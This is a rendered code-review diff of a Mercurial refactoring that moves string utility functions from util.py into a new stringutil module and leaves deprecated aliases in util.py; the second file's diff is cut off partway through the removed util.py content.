Show More
@@ -17,7 +17,6 b' from __future__ import absolute_import, ' | |||||
17 |
|
17 | |||
18 | import abc |
|
18 | import abc | |
19 | import bz2 |
|
19 | import bz2 | |
20 | import codecs |
|
|||
21 | import collections |
|
20 | import collections | |
22 | import contextlib |
|
21 | import contextlib | |
23 | import errno |
|
22 | import errno | |
@@ -37,7 +36,6 b' import stat' | |||||
37 | import subprocess |
|
36 | import subprocess | |
38 | import sys |
|
37 | import sys | |
39 | import tempfile |
|
38 | import tempfile | |
40 | import textwrap |
|
|||
41 | import time |
|
39 | import time | |
42 | import traceback |
|
40 | import traceback | |
43 | import warnings |
|
41 | import warnings | |
@@ -52,7 +50,10 b' from . import (' | |||||
52 | pycompat, |
|
50 | pycompat, | |
53 | urllibcompat, |
|
51 | urllibcompat, | |
54 | ) |
|
52 | ) | |
55 |
from .utils import |
|
53 | from .utils import ( | |
|
54 | dateutil, | |||
|
55 | stringutil, | |||
|
56 | ) | |||
56 |
|
57 | |||
57 | base85 = policy.importmod(r'base85') |
|
58 | base85 = policy.importmod(r'base85') | |
58 | osutil = policy.importmod(r'osutil') |
|
59 | osutil = policy.importmod(r'osutil') | |
@@ -808,20 +809,6 b' class socketproxy(object):' | |||||
808 | return object.__getattribute__(self, r'_observedcall')( |
|
809 | return object.__getattribute__(self, r'_observedcall')( | |
809 | r'setsockopt', *args, **kwargs) |
|
810 | r'setsockopt', *args, **kwargs) | |
810 |
|
811 | |||
811 | _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)} |
|
|||
812 | _DATA_ESCAPE_MAP.update({ |
|
|||
813 | b'\\': b'\\\\', |
|
|||
814 | b'\r': br'\r', |
|
|||
815 | b'\n': br'\n', |
|
|||
816 | }) |
|
|||
817 | _DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]') |
|
|||
818 |
|
||||
819 | def escapedata(s): |
|
|||
820 | if isinstance(s, bytearray): |
|
|||
821 | s = bytes(s) |
|
|||
822 |
|
||||
823 | return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s) |
|
|||
824 |
|
||||
825 | class baseproxyobserver(object): |
|
812 | class baseproxyobserver(object): | |
826 | def _writedata(self, data): |
|
813 | def _writedata(self, data): | |
827 | if not self.logdata: |
|
814 | if not self.logdata: | |
@@ -1567,10 +1554,6 b' def filter(s, cmd):' | |||||
1567 | return fn(s, cmd[len(name):].lstrip()) |
|
1554 | return fn(s, cmd[len(name):].lstrip()) | |
1568 | return pipefilter(s, cmd) |
|
1555 | return pipefilter(s, cmd) | |
1569 |
|
1556 | |||
1570 | def binary(s): |
|
|||
1571 | """return true if a string is binary data""" |
|
|||
1572 | return bool(s and '\0' in s) |
|
|||
1573 |
|
||||
1574 | def increasingchunks(source, min=1024, max=65536): |
|
1557 | def increasingchunks(source, min=1024, max=65536): | |
1575 | '''return no less than min bytes per chunk while data remains, |
|
1558 | '''return no less than min bytes per chunk while data remains, | |
1576 | doubling min after each chunk until it reaches max''' |
|
1559 | doubling min after each chunk until it reaches max''' | |
@@ -2571,102 +2554,6 b' class cappedreader(object):' | |||||
2571 | b[0:len(res)] = res |
|
2554 | b[0:len(res)] = res | |
2572 | return len(res) |
|
2555 | return len(res) | |
2573 |
|
2556 | |||
2574 | def stringmatcher(pattern, casesensitive=True): |
|
|||
2575 | """ |
|
|||
2576 | accepts a string, possibly starting with 're:' or 'literal:' prefix. |
|
|||
2577 | returns the matcher name, pattern, and matcher function. |
|
|||
2578 | missing or unknown prefixes are treated as literal matches. |
|
|||
2579 |
|
||||
2580 | helper for tests: |
|
|||
2581 | >>> def test(pattern, *tests): |
|
|||
2582 | ... kind, pattern, matcher = stringmatcher(pattern) |
|
|||
2583 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
|||
2584 | >>> def itest(pattern, *tests): |
|
|||
2585 | ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
|
|||
2586 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
|||
2587 |
|
||||
2588 | exact matching (no prefix): |
|
|||
2589 | >>> test(b'abcdefg', b'abc', b'def', b'abcdefg') |
|
|||
2590 | ('literal', 'abcdefg', [False, False, True]) |
|
|||
2591 |
|
||||
2592 | regex matching ('re:' prefix) |
|
|||
2593 | >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar') |
|
|||
2594 | ('re', 'a.+b', [False, False, True]) |
|
|||
2595 |
|
||||
2596 | force exact matches ('literal:' prefix) |
|
|||
2597 | >>> test(b'literal:re:foobar', b'foobar', b're:foobar') |
|
|||
2598 | ('literal', 're:foobar', [False, True]) |
|
|||
2599 |
|
||||
2600 | unknown prefixes are ignored and treated as literals |
|
|||
2601 | >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar') |
|
|||
2602 | ('literal', 'foo:bar', [False, False, True]) |
|
|||
2603 |
|
||||
2604 | case insensitive regex matches |
|
|||
2605 | >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar') |
|
|||
2606 | ('re', 'A.+b', [False, False, True]) |
|
|||
2607 |
|
||||
2608 | case insensitive literal matches |
|
|||
2609 | >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg') |
|
|||
2610 | ('literal', 'ABCDEFG', [False, False, True]) |
|
|||
2611 | """ |
|
|||
2612 | if pattern.startswith('re:'): |
|
|||
2613 | pattern = pattern[3:] |
|
|||
2614 | try: |
|
|||
2615 | flags = 0 |
|
|||
2616 | if not casesensitive: |
|
|||
2617 | flags = remod.I |
|
|||
2618 | regex = remod.compile(pattern, flags) |
|
|||
2619 | except remod.error as e: |
|
|||
2620 | raise error.ParseError(_('invalid regular expression: %s') |
|
|||
2621 | % e) |
|
|||
2622 | return 're', pattern, regex.search |
|
|||
2623 | elif pattern.startswith('literal:'): |
|
|||
2624 | pattern = pattern[8:] |
|
|||
2625 |
|
||||
2626 | match = pattern.__eq__ |
|
|||
2627 |
|
||||
2628 | if not casesensitive: |
|
|||
2629 | ipat = encoding.lower(pattern) |
|
|||
2630 | match = lambda s: ipat == encoding.lower(s) |
|
|||
2631 | return 'literal', pattern, match |
|
|||
2632 |
|
||||
2633 | def shortuser(user): |
|
|||
2634 | """Return a short representation of a user name or email address.""" |
|
|||
2635 | f = user.find('@') |
|
|||
2636 | if f >= 0: |
|
|||
2637 | user = user[:f] |
|
|||
2638 | f = user.find('<') |
|
|||
2639 | if f >= 0: |
|
|||
2640 | user = user[f + 1:] |
|
|||
2641 | f = user.find(' ') |
|
|||
2642 | if f >= 0: |
|
|||
2643 | user = user[:f] |
|
|||
2644 | f = user.find('.') |
|
|||
2645 | if f >= 0: |
|
|||
2646 | user = user[:f] |
|
|||
2647 | return user |
|
|||
2648 |
|
||||
2649 | def emailuser(user): |
|
|||
2650 | """Return the user portion of an email address.""" |
|
|||
2651 | f = user.find('@') |
|
|||
2652 | if f >= 0: |
|
|||
2653 | user = user[:f] |
|
|||
2654 | f = user.find('<') |
|
|||
2655 | if f >= 0: |
|
|||
2656 | user = user[f + 1:] |
|
|||
2657 | return user |
|
|||
2658 |
|
||||
2659 | def email(author): |
|
|||
2660 | '''get email of author.''' |
|
|||
2661 | r = author.find('>') |
|
|||
2662 | if r == -1: |
|
|||
2663 | r = None |
|
|||
2664 | return author[author.find('<') + 1:r] |
|
|||
2665 |
|
||||
2666 | def ellipsis(text, maxlength=400): |
|
|||
2667 | """Trim string to at most maxlength (default: 400) columns in display.""" |
|
|||
2668 | return encoding.trim(text, maxlength, ellipsis='...') |
|
|||
2669 |
|
||||
2670 | def unitcountfn(*unittable): |
|
2557 | def unitcountfn(*unittable): | |
2671 | '''return a function that renders a readable count of some quantity''' |
|
2558 | '''return a function that renders a readable count of some quantity''' | |
2672 |
|
2559 | |||
@@ -2751,147 +2638,6 b' else:' | |||||
2751 | fromnativeeol = pycompat.identity |
|
2638 | fromnativeeol = pycompat.identity | |
2752 | nativeeolwriter = pycompat.identity |
|
2639 | nativeeolwriter = pycompat.identity | |
2753 |
|
2640 | |||
2754 | def escapestr(s): |
|
|||
2755 | # call underlying function of s.encode('string_escape') directly for |
|
|||
2756 | # Python 3 compatibility |
|
|||
2757 | return codecs.escape_encode(s)[0] |
|
|||
2758 |
|
||||
2759 | def unescapestr(s): |
|
|||
2760 | return codecs.escape_decode(s)[0] |
|
|||
2761 |
|
||||
2762 | def forcebytestr(obj): |
|
|||
2763 | """Portably format an arbitrary object (e.g. exception) into a byte |
|
|||
2764 | string.""" |
|
|||
2765 | try: |
|
|||
2766 | return pycompat.bytestr(obj) |
|
|||
2767 | except UnicodeEncodeError: |
|
|||
2768 | # non-ascii string, may be lossy |
|
|||
2769 | return pycompat.bytestr(encoding.strtolocal(str(obj))) |
|
|||
2770 |
|
||||
2771 | def uirepr(s): |
|
|||
2772 | # Avoid double backslash in Windows path repr() |
|
|||
2773 | return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\') |
|
|||
2774 |
|
||||
2775 | # delay import of textwrap |
|
|||
2776 | def _MBTextWrapper(**kwargs): |
|
|||
2777 | class tw(textwrap.TextWrapper): |
|
|||
2778 | """ |
|
|||
2779 | Extend TextWrapper for width-awareness. |
|
|||
2780 |
|
||||
2781 | Neither number of 'bytes' in any encoding nor 'characters' is |
|
|||
2782 | appropriate to calculate terminal columns for specified string. |
|
|||
2783 |
|
||||
2784 | Original TextWrapper implementation uses built-in 'len()' directly, |
|
|||
2785 | so overriding is needed to use width information of each characters. |
|
|||
2786 |
|
||||
2787 | In addition, characters classified into 'ambiguous' width are |
|
|||
2788 | treated as wide in East Asian area, but as narrow in other. |
|
|||
2789 |
|
||||
2790 | This requires use decision to determine width of such characters. |
|
|||
2791 | """ |
|
|||
2792 | def _cutdown(self, ucstr, space_left): |
|
|||
2793 | l = 0 |
|
|||
2794 | colwidth = encoding.ucolwidth |
|
|||
2795 | for i in xrange(len(ucstr)): |
|
|||
2796 | l += colwidth(ucstr[i]) |
|
|||
2797 | if space_left < l: |
|
|||
2798 | return (ucstr[:i], ucstr[i:]) |
|
|||
2799 | return ucstr, '' |
|
|||
2800 |
|
||||
2801 | # overriding of base class |
|
|||
2802 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
|
|||
2803 | space_left = max(width - cur_len, 1) |
|
|||
2804 |
|
||||
2805 | if self.break_long_words: |
|
|||
2806 | cut, res = self._cutdown(reversed_chunks[-1], space_left) |
|
|||
2807 | cur_line.append(cut) |
|
|||
2808 | reversed_chunks[-1] = res |
|
|||
2809 | elif not cur_line: |
|
|||
2810 | cur_line.append(reversed_chunks.pop()) |
|
|||
2811 |
|
||||
2812 | # this overriding code is imported from TextWrapper of Python 2.6 |
|
|||
2813 | # to calculate columns of string by 'encoding.ucolwidth()' |
|
|||
2814 | def _wrap_chunks(self, chunks): |
|
|||
2815 | colwidth = encoding.ucolwidth |
|
|||
2816 |
|
||||
2817 | lines = [] |
|
|||
2818 | if self.width <= 0: |
|
|||
2819 | raise ValueError("invalid width %r (must be > 0)" % self.width) |
|
|||
2820 |
|
||||
2821 | # Arrange in reverse order so items can be efficiently popped |
|
|||
2822 | # from a stack of chucks. |
|
|||
2823 | chunks.reverse() |
|
|||
2824 |
|
||||
2825 | while chunks: |
|
|||
2826 |
|
||||
2827 | # Start the list of chunks that will make up the current line. |
|
|||
2828 | # cur_len is just the length of all the chunks in cur_line. |
|
|||
2829 | cur_line = [] |
|
|||
2830 | cur_len = 0 |
|
|||
2831 |
|
||||
2832 | # Figure out which static string will prefix this line. |
|
|||
2833 | if lines: |
|
|||
2834 | indent = self.subsequent_indent |
|
|||
2835 | else: |
|
|||
2836 | indent = self.initial_indent |
|
|||
2837 |
|
||||
2838 | # Maximum width for this line. |
|
|||
2839 | width = self.width - len(indent) |
|
|||
2840 |
|
||||
2841 | # First chunk on line is whitespace -- drop it, unless this |
|
|||
2842 | # is the very beginning of the text (i.e. no lines started yet). |
|
|||
2843 | if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
|
|||
2844 | del chunks[-1] |
|
|||
2845 |
|
||||
2846 | while chunks: |
|
|||
2847 | l = colwidth(chunks[-1]) |
|
|||
2848 |
|
||||
2849 | # Can at least squeeze this chunk onto the current line. |
|
|||
2850 | if cur_len + l <= width: |
|
|||
2851 | cur_line.append(chunks.pop()) |
|
|||
2852 | cur_len += l |
|
|||
2853 |
|
||||
2854 | # Nope, this line is full. |
|
|||
2855 | else: |
|
|||
2856 | break |
|
|||
2857 |
|
||||
2858 | # The current line is full, and the next chunk is too big to |
|
|||
2859 | # fit on *any* line (not just this one). |
|
|||
2860 | if chunks and colwidth(chunks[-1]) > width: |
|
|||
2861 | self._handle_long_word(chunks, cur_line, cur_len, width) |
|
|||
2862 |
|
||||
2863 | # If the last chunk on this line is all whitespace, drop it. |
|
|||
2864 | if (self.drop_whitespace and |
|
|||
2865 | cur_line and cur_line[-1].strip() == r''): |
|
|||
2866 | del cur_line[-1] |
|
|||
2867 |
|
||||
2868 | # Convert current line back to a string and store it in list |
|
|||
2869 | # of all lines (return value). |
|
|||
2870 | if cur_line: |
|
|||
2871 | lines.append(indent + r''.join(cur_line)) |
|
|||
2872 |
|
||||
2873 | return lines |
|
|||
2874 |
|
||||
2875 | global _MBTextWrapper |
|
|||
2876 | _MBTextWrapper = tw |
|
|||
2877 | return tw(**kwargs) |
|
|||
2878 |
|
||||
2879 | def wrap(line, width, initindent='', hangindent=''): |
|
|||
2880 | maxindent = max(len(hangindent), len(initindent)) |
|
|||
2881 | if width <= maxindent: |
|
|||
2882 | # adjust for weird terminal size |
|
|||
2883 | width = max(78, maxindent + 1) |
|
|||
2884 | line = line.decode(pycompat.sysstr(encoding.encoding), |
|
|||
2885 | pycompat.sysstr(encoding.encodingmode)) |
|
|||
2886 | initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
|
|||
2887 | pycompat.sysstr(encoding.encodingmode)) |
|
|||
2888 | hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
|
|||
2889 | pycompat.sysstr(encoding.encodingmode)) |
|
|||
2890 | wrapper = _MBTextWrapper(width=width, |
|
|||
2891 | initial_indent=initindent, |
|
|||
2892 | subsequent_indent=hangindent) |
|
|||
2893 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
|
|||
2894 |
|
||||
2895 | if (pyplatform.python_implementation() == 'CPython' and |
|
2641 | if (pyplatform.python_implementation() == 'CPython' and | |
2896 | sys.version_info < (3, 0)): |
|
2642 | sys.version_info < (3, 0)): | |
2897 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2643 | # There is an issue in CPython that some IO methods do not handle EINTR | |
@@ -3064,17 +2810,6 b' def getport(port):' | |||||
3064 | except socket.error: |
|
2810 | except socket.error: | |
3065 | raise Abort(_("no port number associated with service '%s'") % port) |
|
2811 | raise Abort(_("no port number associated with service '%s'") % port) | |
3066 |
|
2812 | |||
3067 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
|
|||
3068 | '0': False, 'no': False, 'false': False, 'off': False, |
|
|||
3069 | 'never': False} |
|
|||
3070 |
|
||||
3071 | def parsebool(s): |
|
|||
3072 | """Parse s into a boolean. |
|
|||
3073 |
|
||||
3074 | If s is not a valid boolean, returns None. |
|
|||
3075 | """ |
|
|||
3076 | return _booleans.get(s.lower(), None) |
|
|||
3077 |
|
||||
3078 | class url(object): |
|
2813 | class url(object): | |
3079 | r"""Reliable URL parser. |
|
2814 | r"""Reliable URL parser. | |
3080 |
|
2815 | |||
@@ -4341,3 +4076,19 b' parsetimezone = _deprecatedfunc(dateutil' | |||||
4341 | strdate = _deprecatedfunc(dateutil.strdate, '4.6') |
|
4076 | strdate = _deprecatedfunc(dateutil.strdate, '4.6') | |
4342 | parsedate = _deprecatedfunc(dateutil.parsedate, '4.6') |
|
4077 | parsedate = _deprecatedfunc(dateutil.parsedate, '4.6') | |
4343 | matchdate = _deprecatedfunc(dateutil.matchdate, '4.6') |
|
4078 | matchdate = _deprecatedfunc(dateutil.matchdate, '4.6') | |
|
4079 | ||||
|
4080 | def _deprecatedfunc(func, version): # TODO | |||
|
4081 | return func | |||
|
4082 | escapedata = _deprecatedfunc(stringutil.escapedata, '4.6') | |||
|
4083 | binary = _deprecatedfunc(stringutil.binary, '4.6') | |||
|
4084 | stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6') | |||
|
4085 | shortuser = _deprecatedfunc(stringutil.shortuser, '4.6') | |||
|
4086 | emailuser = _deprecatedfunc(stringutil.emailuser, '4.6') | |||
|
4087 | email = _deprecatedfunc(stringutil.email, '4.6') | |||
|
4088 | ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6') | |||
|
4089 | escapestr = _deprecatedfunc(stringutil.escapestr, '4.6') | |||
|
4090 | unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6') | |||
|
4091 | forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6') | |||
|
4092 | uirepr = _deprecatedfunc(stringutil.uirepr, '4.6') | |||
|
4093 | wrap = _deprecatedfunc(stringutil.wrap, '4.6') | |||
|
4094 | parsebool = _deprecatedfunc(stringutil.parsebool, '4.6') |
This diff has been collapsed as it changes many lines, (4065 lines changed) Show them Hide them | |||||
@@ -1,4 +1,4 b'' | |||||
1 | # util.py - Mercurial utility functions and platform specific implementations |
|
1 | # stringutil.py - utility for generic string formatting, parsing, etc. | |
2 | # |
|
2 | # | |
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> | |
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> | |
@@ -7,806 +7,19 b'' | |||||
7 | # This software may be used and distributed according to the terms of the |
|
7 | # This software may be used and distributed according to the terms of the | |
8 | # GNU General Public License version 2 or any later version. |
|
8 | # GNU General Public License version 2 or any later version. | |
9 |
|
9 | |||
10 | """Mercurial utility functions and platform specific implementations. |
|
10 | from __future__ import absolute_import | |
11 |
|
11 | |||
12 | This contains helper routines that are independent of the SCM core and |
|
|||
13 | hide platform-specific details from the core. |
|
|||
14 | """ |
|
|||
15 |
|
||||
16 | from __future__ import absolute_import, print_function |
|
|||
17 |
|
||||
18 | import abc |
|
|||
19 | import bz2 |
|
|||
20 | import codecs |
|
12 | import codecs | |
21 | import collections |
|
|||
22 | import contextlib |
|
|||
23 | import errno |
|
|||
24 | import gc |
|
|||
25 | import hashlib |
|
|||
26 | import imp |
|
|||
27 | import io |
|
|||
28 | import itertools |
|
|||
29 | import mmap |
|
|||
30 | import os |
|
|||
31 | import platform as pyplatform |
|
|||
32 | import re as remod |
|
13 | import re as remod | |
33 | import shutil |
|
|||
34 | import signal |
|
|||
35 | import socket |
|
|||
36 | import stat |
|
|||
37 | import subprocess |
|
|||
38 | import sys |
|
|||
39 | import tempfile |
|
|||
40 | import textwrap |
|
14 | import textwrap | |
41 | import time |
|
|||
42 | import traceback |
|
|||
43 | import warnings |
|
|||
44 | import zlib |
|
|||
45 |
|
15 | |||
46 |
from . import |
|
16 | from ..i18n import _ | |
|
17 | ||||
|
18 | from .. import ( | |||
47 | encoding, |
|
19 | encoding, | |
48 | error, |
|
20 | error, | |
49 | i18n, |
|
|||
50 | node as nodemod, |
|
|||
51 | policy, |
|
|||
52 | pycompat, |
|
21 | pycompat, | |
53 | urllibcompat, |
|
|||
54 | ) |
|
22 | ) | |
55 | from .utils import dateutil |
|
|||
56 |
|
||||
57 | base85 = policy.importmod(r'base85') |
|
|||
58 | osutil = policy.importmod(r'osutil') |
|
|||
59 | parsers = policy.importmod(r'parsers') |
|
|||
60 |
|
||||
61 | b85decode = base85.b85decode |
|
|||
62 | b85encode = base85.b85encode |
|
|||
63 |
|
||||
64 | cookielib = pycompat.cookielib |
|
|||
65 | empty = pycompat.empty |
|
|||
66 | httplib = pycompat.httplib |
|
|||
67 | pickle = pycompat.pickle |
|
|||
68 | queue = pycompat.queue |
|
|||
69 | socketserver = pycompat.socketserver |
|
|||
70 | stderr = pycompat.stderr |
|
|||
71 | stdin = pycompat.stdin |
|
|||
72 | stdout = pycompat.stdout |
|
|||
73 | bytesio = pycompat.bytesio |
|
|||
74 | # TODO deprecate stringio name, as it is a lie on Python 3. |
|
|||
75 | stringio = bytesio |
|
|||
76 | xmlrpclib = pycompat.xmlrpclib |
|
|||
77 |
|
||||
78 | httpserver = urllibcompat.httpserver |
|
|||
79 | urlerr = urllibcompat.urlerr |
|
|||
80 | urlreq = urllibcompat.urlreq |
|
|||
81 |
|
||||
82 | # workaround for win32mbcs |
|
|||
83 | _filenamebytestr = pycompat.bytestr |
|
|||
84 |
|
||||
85 | def isatty(fp): |
|
|||
86 | try: |
|
|||
87 | return fp.isatty() |
|
|||
88 | except AttributeError: |
|
|||
89 | return False |
|
|||
90 |
|
||||
91 | # glibc determines buffering on first write to stdout - if we replace a TTY |
|
|||
92 | # destined stdout with a pipe destined stdout (e.g. pager), we want line |
|
|||
93 | # buffering |
|
|||
94 | if isatty(stdout): |
|
|||
95 | stdout = os.fdopen(stdout.fileno(), r'wb', 1) |
|
|||
96 |
|
||||
97 | if pycompat.iswindows: |
|
|||
98 | from . import windows as platform |
|
|||
99 | stdout = platform.winstdout(stdout) |
|
|||
100 | else: |
|
|||
101 | from . import posix as platform |
|
|||
102 |
|
||||
103 | _ = i18n._ |
|
|||
104 |
|
||||
105 | bindunixsocket = platform.bindunixsocket |
|
|||
106 | cachestat = platform.cachestat |
|
|||
107 | checkexec = platform.checkexec |
|
|||
108 | checklink = platform.checklink |
|
|||
109 | copymode = platform.copymode |
|
|||
110 | executablepath = platform.executablepath |
|
|||
111 | expandglobs = platform.expandglobs |
|
|||
112 | explainexit = platform.explainexit |
|
|||
113 | findexe = platform.findexe |
|
|||
114 | getfsmountpoint = platform.getfsmountpoint |
|
|||
115 | getfstype = platform.getfstype |
|
|||
116 | gethgcmd = platform.gethgcmd |
|
|||
117 | getuser = platform.getuser |
|
|||
118 | getpid = os.getpid |
|
|||
119 | groupmembers = platform.groupmembers |
|
|||
120 | groupname = platform.groupname |
|
|||
121 | hidewindow = platform.hidewindow |
|
|||
122 | isexec = platform.isexec |
|
|||
123 | isowner = platform.isowner |
|
|||
124 | listdir = osutil.listdir |
|
|||
125 | localpath = platform.localpath |
|
|||
126 | lookupreg = platform.lookupreg |
|
|||
127 | makedir = platform.makedir |
|
|||
128 | nlinks = platform.nlinks |
|
|||
129 | normpath = platform.normpath |
|
|||
130 | normcase = platform.normcase |
|
|||
131 | normcasespec = platform.normcasespec |
|
|||
132 | normcasefallback = platform.normcasefallback |
|
|||
133 | openhardlinks = platform.openhardlinks |
|
|||
134 | oslink = platform.oslink |
|
|||
135 | parsepatchoutput = platform.parsepatchoutput |
|
|||
136 | pconvert = platform.pconvert |
|
|||
137 | poll = platform.poll |
|
|||
138 | popen = platform.popen |
|
|||
139 | posixfile = platform.posixfile |
|
|||
140 | quotecommand = platform.quotecommand |
|
|||
141 | readpipe = platform.readpipe |
|
|||
142 | rename = platform.rename |
|
|||
143 | removedirs = platform.removedirs |
|
|||
144 | samedevice = platform.samedevice |
|
|||
145 | samefile = platform.samefile |
|
|||
146 | samestat = platform.samestat |
|
|||
147 | setbinary = platform.setbinary |
|
|||
148 | setflags = platform.setflags |
|
|||
149 | setsignalhandler = platform.setsignalhandler |
|
|||
150 | shellquote = platform.shellquote |
|
|||
151 | shellsplit = platform.shellsplit |
|
|||
152 | spawndetached = platform.spawndetached |
|
|||
153 | split = platform.split |
|
|||
154 | sshargs = platform.sshargs |
|
|||
155 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
|||
156 | statisexec = platform.statisexec |
|
|||
157 | statislink = platform.statislink |
|
|||
158 | testpid = platform.testpid |
|
|||
159 | umask = platform.umask |
|
|||
160 | unlink = platform.unlink |
|
|||
161 | username = platform.username |
|
|||
162 |
|
||||
163 | try: |
|
|||
164 | recvfds = osutil.recvfds |
|
|||
165 | except AttributeError: |
|
|||
166 | pass |
|
|||
167 | try: |
|
|||
168 | setprocname = osutil.setprocname |
|
|||
169 | except AttributeError: |
|
|||
170 | pass |
|
|||
171 | try: |
|
|||
172 | unblocksignal = osutil.unblocksignal |
|
|||
173 | except AttributeError: |
|
|||
174 | pass |
|
|||
175 |
|
||||
176 | # Python compatibility |
|
|||
177 |
|
||||
178 | _notset = object() |
|
|||
179 |
|
||||
180 | def safehasattr(thing, attr): |
|
|||
181 | return getattr(thing, attr, _notset) is not _notset |
|
|||
182 |
|
||||
183 | def _rapply(f, xs): |
|
|||
184 | if xs is None: |
|
|||
185 | # assume None means non-value of optional data |
|
|||
186 | return xs |
|
|||
187 | if isinstance(xs, (list, set, tuple)): |
|
|||
188 | return type(xs)(_rapply(f, x) for x in xs) |
|
|||
189 | if isinstance(xs, dict): |
|
|||
190 | return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items()) |
|
|||
191 | return f(xs) |
|
|||
192 |
|
||||
193 | def rapply(f, xs): |
|
|||
194 | """Apply function recursively to every item preserving the data structure |
|
|||
195 |
|
||||
196 | >>> def f(x): |
|
|||
197 | ... return 'f(%s)' % x |
|
|||
198 | >>> rapply(f, None) is None |
|
|||
199 | True |
|
|||
200 | >>> rapply(f, 'a') |
|
|||
201 | 'f(a)' |
|
|||
202 | >>> rapply(f, {'a'}) == {'f(a)'} |
|
|||
203 | True |
|
|||
204 | >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []]) |
|
|||
205 | ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []] |
|
|||
206 |
|
||||
207 | >>> xs = [object()] |
|
|||
208 | >>> rapply(pycompat.identity, xs) is xs |
|
|||
209 | True |
|
|||
210 | """ |
|
|||
211 | if f is pycompat.identity: |
|
|||
212 | # fast path mainly for py2 |
|
|||
213 | return xs |
|
|||
214 | return _rapply(f, xs) |
|
|||
215 |
|
||||
216 | def bitsfrom(container): |
|
|||
217 | bits = 0 |
|
|||
218 | for bit in container: |
|
|||
219 | bits |= bit |
|
|||
220 | return bits |
|
|||
221 |
|
||||
222 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
|||
223 | # to display anything to standard user so detect if we are running test and |
|
|||
224 | # only use python deprecation warning in this case. |
|
|||
225 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
|
|||
226 | if _dowarn: |
|
|||
227 | # explicitly unfilter our warning for python 2.7 |
|
|||
228 | # |
|
|||
229 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
|||
230 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
|||
231 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
|||
232 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
|||
233 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
|
|||
234 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
|
|||
235 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
|
|||
236 | if _dowarn and pycompat.ispy3: |
|
|||
237 | # silence warning emitted by passing user string to re.sub() |
|
|||
238 | warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning, |
|
|||
239 | r'mercurial') |
|
|||
240 | warnings.filterwarnings(r'ignore', r'invalid escape sequence', |
|
|||
241 | DeprecationWarning, r'mercurial') |
|
|||
242 |
|
||||
243 | def nouideprecwarn(msg, version, stacklevel=1): |
|
|||
244 | """Issue an python native deprecation warning |
|
|||
245 |
|
||||
246 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
|||
247 | """ |
|
|||
248 | if _dowarn: |
|
|||
249 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
|||
250 | " update your code.)") % version |
|
|||
251 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
|
|||
252 |
|
||||
253 | DIGESTS = { |
|
|||
254 | 'md5': hashlib.md5, |
|
|||
255 | 'sha1': hashlib.sha1, |
|
|||
256 | 'sha512': hashlib.sha512, |
|
|||
257 | } |
|
|||
258 | # List of digest types from strongest to weakest |
|
|||
259 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
|
|||
260 |
|
||||
261 | for k in DIGESTS_BY_STRENGTH: |
|
|||
262 | assert k in DIGESTS |
|
|||
263 |
|
||||
264 | class digester(object): |
|
|||
265 | """helper to compute digests. |
|
|||
266 |
|
||||
267 | This helper can be used to compute one or more digests given their name. |
|
|||
268 |
|
||||
269 | >>> d = digester([b'md5', b'sha1']) |
|
|||
270 | >>> d.update(b'foo') |
|
|||
271 | >>> [k for k in sorted(d)] |
|
|||
272 | ['md5', 'sha1'] |
|
|||
273 | >>> d[b'md5'] |
|
|||
274 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
|||
275 | >>> d[b'sha1'] |
|
|||
276 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
|||
277 | >>> digester.preferred([b'md5', b'sha1']) |
|
|||
278 | 'sha1' |
|
|||
279 | """ |
|
|||
280 |
|
||||
281 | def __init__(self, digests, s=''): |
|
|||
282 | self._hashes = {} |
|
|||
283 | for k in digests: |
|
|||
284 | if k not in DIGESTS: |
|
|||
285 | raise Abort(_('unknown digest type: %s') % k) |
|
|||
286 | self._hashes[k] = DIGESTS[k]() |
|
|||
287 | if s: |
|
|||
288 | self.update(s) |
|
|||
289 |
|
||||
290 | def update(self, data): |
|
|||
291 | for h in self._hashes.values(): |
|
|||
292 | h.update(data) |
|
|||
